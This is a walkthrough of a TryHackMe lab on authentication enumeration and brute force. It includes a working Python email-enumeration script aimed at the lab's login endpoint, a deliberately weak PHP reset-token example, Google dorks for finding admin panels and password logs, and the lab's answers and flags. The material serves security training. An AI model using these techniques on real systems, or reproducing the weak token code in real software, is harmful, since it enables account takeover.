Task 1 — Introduction
This task introduces the concept of Authentication Enumeration, a key part of web security testing that focuses on probing login systems, username validation, password policies, and session management for weaknesses.
What you'll learn in this room:
- The role of enumeration in setting up successful brute-force attacks
- Advanced techniques for extracting info from verbose error messages
- How enumeration and brute-forcing work together to break authentication
- Hands-on practice with industry-standard tools
Pre-requisites: Basic knowledge of HTTP/HTTPS, Burp Suite, and the Linux command line.
Before we begin enumeration, we need to map the target machine's IP address to its hostname. This allows us to access the application using enum.thm instead of the raw IP.
Open the hosts file using nano:
nano /etc/hostsAdd the following entry (replace the IP with your machine's IP):
10.144.178.132 enum.thm
Task 2 — Authentication Enumeration
Authentication enumeration is like being a digital detective 🕵️ — analyzing how an application reacts to inputs to uncover weaknesses in its login system.
🔍 Identifying Valid Usernames
Finding valid usernames cuts an attacker's work in half. Apps often leak this info through:
- Login error messages ("Account doesn't exist" vs "Incorrect password")
- Registration and password reset responses
🔑 Password Policies
Password rules reveal the complexity of credentials in use. Example PHP policy:
$pattern = '/^(?=.*[A-Z])(?=.*\d)(?=.*[\W_]).+$/';Knowing this, attackers can filter wordlists to match the policy — saving time and boosting success.
📍 Common Places to Enumerate
- Registration Pages → reveal if a username/email already exists
- Password Reset → different responses confirm valid accounts
- Verbose Errors → hint at valid usernames
- Data Breaches → leaked creds often reused across platforms
❓ Question & Answer
Q: What type of error messages can unintentionally provide attackers with confirmation of valid usernames?
A: Verbose errors
Task 3 — Enumerating Users via Verbose Errors
🔎 Understanding Verbose Errors
Verbose errors are unintentional whispers of an app — meant for debugging but often leaking sensitive info. They can reveal:
- Internal Paths → file/directory structures
- Database Details → table & column names
- User Information → valid usernames or personal data.
⚡ Inducing Verbose Errors
Attackers trigger errors to force the app to reveal secrets:
- Invalid Login Attempts → different errors hint at valid usernames
- SQL Injection → a
'can expose database structure - File Inclusion / Path Traversal →
../../may reveal internal paths - Form Manipulation → tampering with hidden fields leaks backend logic
- Application Fuzzing → tools like Burp Suite Intruder automate the process
🔗 The Role of Enumeration and Brute Forcing
Enumeration and brute forcing go hand in hand:
- User Enumeration → narrows down valid usernames
- Verbose Errors → reveal password policies & lockout rules
Together, they act as breadcrumbs leading attackers straight to broken authentication.
📝 Enumeration in Authentication Forms
Login and password reset forms often leak user existence through different responses.
🔗 Visit: http://enum.thm/labs/verbose_login/
- ❌ Invalid email → "Email does not exist."
- ✅ Valid email → different response (e.g., "Incorrect password")
This difference helps attackers confirm valid accounts for further attacks.
🤖 Automating Email Enumeration
To speed things up, we can use a Python script that automatically tests a list of emails against the login function and flags which ones are valid.
📜 Step 1: Create the Script
nano script.py
import requests
import sys
def check_email(email):
url = 'http://enum.thm/labs/verbose_login/functions.php' # Location of the login function
headers = {
'Host': 'enum.thm',
'User-Agent': 'Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'http://enum.thm',
'Connection': 'close',
'Referer': 'http://enum.thm/labs/verbose_login/',
}
data = {
'username': email,
'password': 'password', # Use a random password as we are only checking the email
'function': 'login'
}
response = requests.post(url, headers=headers, data=data)
return response.json()
def enumerate_emails(email_file):
valid_emails = []
invalid_error = "Email does not exist" # Error message for invalid emails
with open(email_file, 'r') as file:
emails = file.readlines()
for email in emails:
email = email.strip() # Remove any leading/trailing whitespace
if email:
response_json = check_email(email)
if response_json['status'] == 'error' and invalid_error in response_json['message']:
print(f"[INVALID] {email}")
else:
print(f"[VALID] {email}")
valid_emails.append(email)
return valid_emails
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python3 script.py <email_list_file>")
sys.exit(1)
email_file = sys.argv[1]
valid_emails = enumerate_emails(email_file)
print("\nValid emails found:")
for valid_email in valid_emails:
print(valid_email)Paste the provided Python code (which sends requests to http://enum.thm/labs/verbose_login/functions.php and checks the response message for valid/invalid emails).
📂 Step 2: Downlad the Wordlist
Download the username from this website:
https://github.com/nyxgeek/username-lists/blob/master/usernames-top100/usernames_gmail.com.txt
mv /root/Downloads/usernames_gmail.com.txt .▶️ Step 3: Run the Script
python3 script.py usernames_gmail.com.txt

The script loops through each email and prints [INVALID] or [VALID] based on the app's response.
❓ Question & Answer
Q: What is the valid email address from the list?
A: canderson@gmail.com
Task 4 — Exploiting Vulnerable Password Reset Logic
🔐 Password Reset Flow Vulnerabilities
Password reset features improve user convenience but can become a major security weakness if poorly implemented.
Common Reset Methods:
- 📧 Email-Based Reset → Sends a reset link/token to the user's email. Security depends on email account safety.
- ❓ Security Question-Based Reset → Relies on personal answers, but easily bypassed if attackers know the user's PII.
- 📱 SMS-Based Reset → Sends a code via SMS; vulnerable to SIM swapping or interception.
⚠️ Key Vulnerabilities in Reset Flows
- Predictable Tokens → Sequential or weak tokens can be guessed/brute-forced
- Token Expiration Issues → Tokens that don't expire give attackers a long attack window
- Insufficient Validation → Weak identity checks (easy security questions, etc.)
- Information Disclosure → Error messages confirming if an email exists
- Insecure Transport → Reset links sent over HTTP can be intercepted
🧪 Exploiting Predictable Tokens
Some apps use weak token generation. Example from the Predictable Tokens lab:
$token = mt_rand(100, 200);
$query = $conn->prepare("UPDATE users SET reset_token = ? WHERE email = ?");
$query->bind_param("ss", $token, $email);
$query->execute();Here, the reset token is a number between 100–200 — meaning an attacker only needs to try 100 values to hijack a reset request. 🎯

🎯 Result
After exploiting the predictable reset token, we successfully logged in as admin and captured the flag:

THM{50_pr3d1ct4BL333!!}Task 5 — Exploiting HTTP Basic Authentication
🔐 Basic Authentication in 2k24?
HTTP Basic Authentication is a simple method of securing access using just a username and password. It's commonly used on devices like routers and admin panels where session management isn't needed.
While easy to set up, it lacks the strong security of modern methods like OAuth or token-based auth.
📜 How It Works
🔄 Challenge–Response Flow
- Client → sends
GET /request - Server → responds with
401 Unauthorized+WWW-Authenticate: Basic - Client → resends request with
Authorization: Basic <base64(user:pass)> - Server → returns
200 OKif valid, otherwise401 Unauthorized

🎯 Result
The successful response revealed the flag:
THM{b4$$1C_AuTTHHH}
Task 6 — OSINT
Digging into a web app's past can be just as revealing as its present. OSINT (Open Source Intelligence) lets us uncover forgotten files, old endpoints, and exposed data using public tools.
🕰️ Wayback URLs
The Internet Archive's Wayback Machine (archive.org/web) acts like a time machine for the internet. It stores snapshots of websites, often revealing files and directories that no longer appear publicly but still exist on the server.
For example, searching tryhackme.com shows snapshots from 2018 to present, exposing past versions and hidden endpoints.
🛠️ Installing waybackurls
To dump all archived URLs of a domain, we use the tool waybackurls:
git clone https://github.com/tomnomnom/waybackurls
cd waybackurls
sudo apt install golang-go -y
go build
./waybackurls tryhackme.comSample output:
https://tryhackme.com/.well-known/security.txt
https://tryhackme.com/.well-known/openid-configuration
https://tryhackme.com/.well-known/nodeinfoThese hidden endpoints can reveal sensitive configurations, old APIs, or forgotten admin paths. 🔍
🔎 Google Dorks
Google Dorks are advanced search queries that uncover information not meant to be public:
GoalDork ExampleFind admin panelssite:example.com inurl:adminLocate log files with passwordsfiletype:log "password" site:example.comDiscover backup directoriesintitle:"index of" "backup" site:example.com
These queries can expose exposed admin pages, log files, and backup data — making OSINT a powerful first step in any pentest. 🎯
Task 7 — Conclusion
Throughout this room, we explored the art of enumeration and brute-force attacks on web applications — from spotting verbose errors to exploiting predictable tokens and cracking HTTP Basic Auth.
🎯 Key Takeaways
- 🔍 Effective Enumeration → The foundation of any successful attack. Smart enumeration reveals usernames, hidden endpoints, and weak spots that guide further exploitation.
- ⚡ Brute Force Efficiency → Success depends on smart wordlists, optimized parameters, and avoiding detection from rate limits or account lockouts.
- ⚖️ Ethical Responsibility → Always have explicit permission before testing. Unauthorized attacks are illegal and carry serious consequences.
🏆 Room Completed!

Another one in the books! If you're working on this room too, I hope this walkthrough helped you cross the finish line. 💪
👉 Try the room yourself: Enumeration & Brute Force on TryHackMe
Powered by Sukshield
Follow me on
💼 LinkedIn: Sumit Battani | 🐦 Twitter: https://twitter.com/5um1t0x 🎯 TryHackMe: TryHackMe | 5um1t0x
- 🎯 TryHackMe: 5um1t0x